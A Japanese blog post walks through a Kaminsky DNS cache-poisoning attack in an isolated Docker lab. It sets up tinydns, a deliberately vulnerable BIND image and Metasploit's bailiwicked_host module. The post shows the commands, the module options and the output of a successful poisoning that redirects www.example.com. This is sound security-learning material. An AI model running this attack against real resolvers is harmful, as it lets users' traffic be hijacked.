LoginSignup
5
7

More than 5 years have passed since last update.

Kaminsky Attackを試してみた(Docker版)

Last updated at Posted at 2017-01-17

以下の記事でKaminsky Attackを試したのですが、VM上でDockerを立てて面倒だったのでDockerのみでやる方法を試してみました。
ここでは詳細を省いて書いているので詳細が知りたい方は以下。
http://qiita.com/knqyf263/items/b086bbfa391181ffa578

環境

全てDockerでやりました。
IPアドレス書きましたが、固定とかしてないので以下になったのは偶然です。
もし他に実験したい方がいれば各自変更して下さい。

  • OS
    • OS X 10.11.6
  • Docker for Mac
    • 1.12.6
  • 攻撃者サーバ(Metasploit Framework)
    • 172.17.0.2
  • 被攻撃キャッシュサーバ(BIND)
    • 172.17.0.3
  • ルートサーバ 兼 example.nom権威サーバ(tinydns)
    • 172.17.0.4

実験

以下は全てDocker for Macでやっています。

ルートサーバ 兼 example.nom権威サーバ(tinydns)

設定ファイル

tinydnsのDockerイメージを利用します。
まず、Mac上でtinydns.dataを用意します。

$ touch axfrdns.tcp

Dockerコンテナ起動

準備ができたので以下で起動します。
tinydnsの起動のためにはtinydns.dataが必要なので自分のアドレスに変更して作成します。

$ docker run --privileged --name tinydns --rm -it -v `pwd`:/data skurtzemann/tinydns bash
root@c955ccb16b76:/# ip a
root@c955ccb16b76:/# vim /data/tinydns.data
.:172.17.0.4:ns.toor.tss:518400
.example.com: 172.17.0.4:ns.example.com:3600
+www.example.com:192.168.33.100

今回は自分のアドレスが172.17.0.4だったので変更します。

遅延の設定

200msの遅延を入れます。

root@c955ccb16b76:/# tc qdisc add dev eth0 root netem delay 200ms

tinydnsの起動

init.shでtinydnsが起動します。

root@c955ccb16b76:/# ./init.sh
Building tinydns data
/usr/bin/tinydns-data
Building axfrdns tcp file
tcprules tcp.cdb tcp.tmp < tcp
Starting tinydns and axfrdns (svscan)

tinydnsの設定は完了です。

被攻撃キャッシュサーバ(BIND)

以下に脆弱なBINDのDockerfileを置いてあるのでこれを使います。
https://github.com/knqyf263/docker-kaminsky

起動後にcache.dbを先程のtinydnsのIPアドレスに変更します。
変更できたらBINDを起動します。runningと出ていれば大丈夫です。

# docker run --rm --name bind -it knqyf263/docker-kaminsky bash
[root@9bf6f2888d1a /]# vim /etc/cache.db
.                        3600000      NS    A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET.      3600000      A     172.17.0.4
[root@9bf6f2888d1a /]# /var/named/chroot/sbin/named -g -t /var/named/chroot -c /etc/named.conf
...
17-Jan-2017 04:13:01.865 running

攻撃者サーバ(Metasploit Framework)

Kali Linuxの公式Dockerイメージを使います。
起動したらMetasploit Frameworkをインストールします。

$ docker run --rm -t -i kalilinux/kali-linux-docker /bin/bash
root@20fd9d5decee:/# apt-get update
root@20fd9d5decee:/# apt-get install metasploit-framework

テスト

正しくexample.comのNSレコードが引けるか確認してみます。
docker execなどでBINDのコンテナに入り、名前解決してみます。

$ docker exec -it bind bash
[root@9bf6f2888d1a /]# dig @127.0.0.1 ns example.com

; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.47.rc1.el6_8.3 <<>> @127.0.0.1 ns example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12159
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; QUESTION SECTION:
;example.com.                   IN      NS

;; ANSWER SECTION:
example.com.            3598    IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.example.com.         3598    IN      A       172.17.0.4

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Tue Jan 17 04:17:44 2017
;; MSG SIZE  rcvd: 62

正しく引けているようです。

攻撃する

msfconsoleを起動したあと、bailiwicked_hostモジュールを利用します。

root@20fd9d5decee:/# msfconsole
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) >

適切にオプションを設定します。

msf auxiliary(bailiwicked_host) > set RHOST 172.17.0.3
RHOST => 172.17.0.3
msf auxiliary(bailiwicked_host) > set SRCPORT 10000
SRCPORT => 10000
msf auxiliary(bailiwicked_host) > set HOSTNAME www.example.com
HOSTNAME => www.example.com
msf auxiliary(bailiwicked_host) > set INTERFACE eth0
INTERFACE => eth0
msf auxiliary(bailiwicked_host) > set RECONS 172.17.0.4
RECONS => 172.17.0.4

実行します。

msf auxiliary(bailiwicked_host) > run

[*] Targeting nameserver 172.17.0.3 for injection of www.example.com. as 1.3.3.7
[*] Querying recon nameserver for example.com.'s nameservers...
[*]  Got an NS record: example.com.            259200  IN      NS      3600.ns.example.com.
[*]   Querying recon nameserver for address of 3600.ns.example.com....
[*]    Got an A record: 3600.ns.example.com.    259200  IN      A       172.17.0.4
[*]     Checking Authoritativeness: Querying 172.17.0.4 for example.com....
[*]     3600.ns.example.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Calculating the number of spoofed replies to send per query...
[*]   race calc: 100 queries | min/max/avg time: 0.2/0.38/0.2 | min/max/avg replies: 63/596/463
[*] Sending 694 spoofed replies from each nameserver (1) for each query
SIOCSIFFLAGS: Operation not permitted
[*] Attempting to inject a poison record for www.example.com. into 172.17.0.3:10000...
[*] Poisoning successful after 250 queries and 173500 responses: www.example.com == 1.3.3.7
[*] TTL: 43618 DATA: #<Resolv::DNS::Resource::IN::A:0x00561a9d862168>
[*] Auxiliary module execution completed

成功したと出たので、BIND上で名前を引いてみると確かに汚染されています。

[root@9bf6f2888d1a /]# dig @127.0.0.1 www.example.com +short
1.3.3.7

まとめ

最初からDockerでやればよかった。

5
7
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
7